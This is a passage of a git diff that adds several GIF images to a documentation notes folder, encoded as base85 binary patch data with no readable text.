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

literal 0
HcmV?d00001

diff --git a/docs/notes/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548293972480.gif b/docs/notes/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548293972480.gif
new file mode 100644
index 0000000000000000000000000000000000000000..1587890cc487e30bc31810a251c12711a49d49a2
GIT binary patch
literal 6144
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

literal 0
HcmV?d00001

diff --git a/docs/notes/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548294571338.gif b/docs/notes/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548294571338.gif
new file mode 100644
index 0000000000000000000000000000000000000000..f2c3dce755fb3685602315c7d62944c75c3e5ef9
GIT binary patch
literal 17408
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
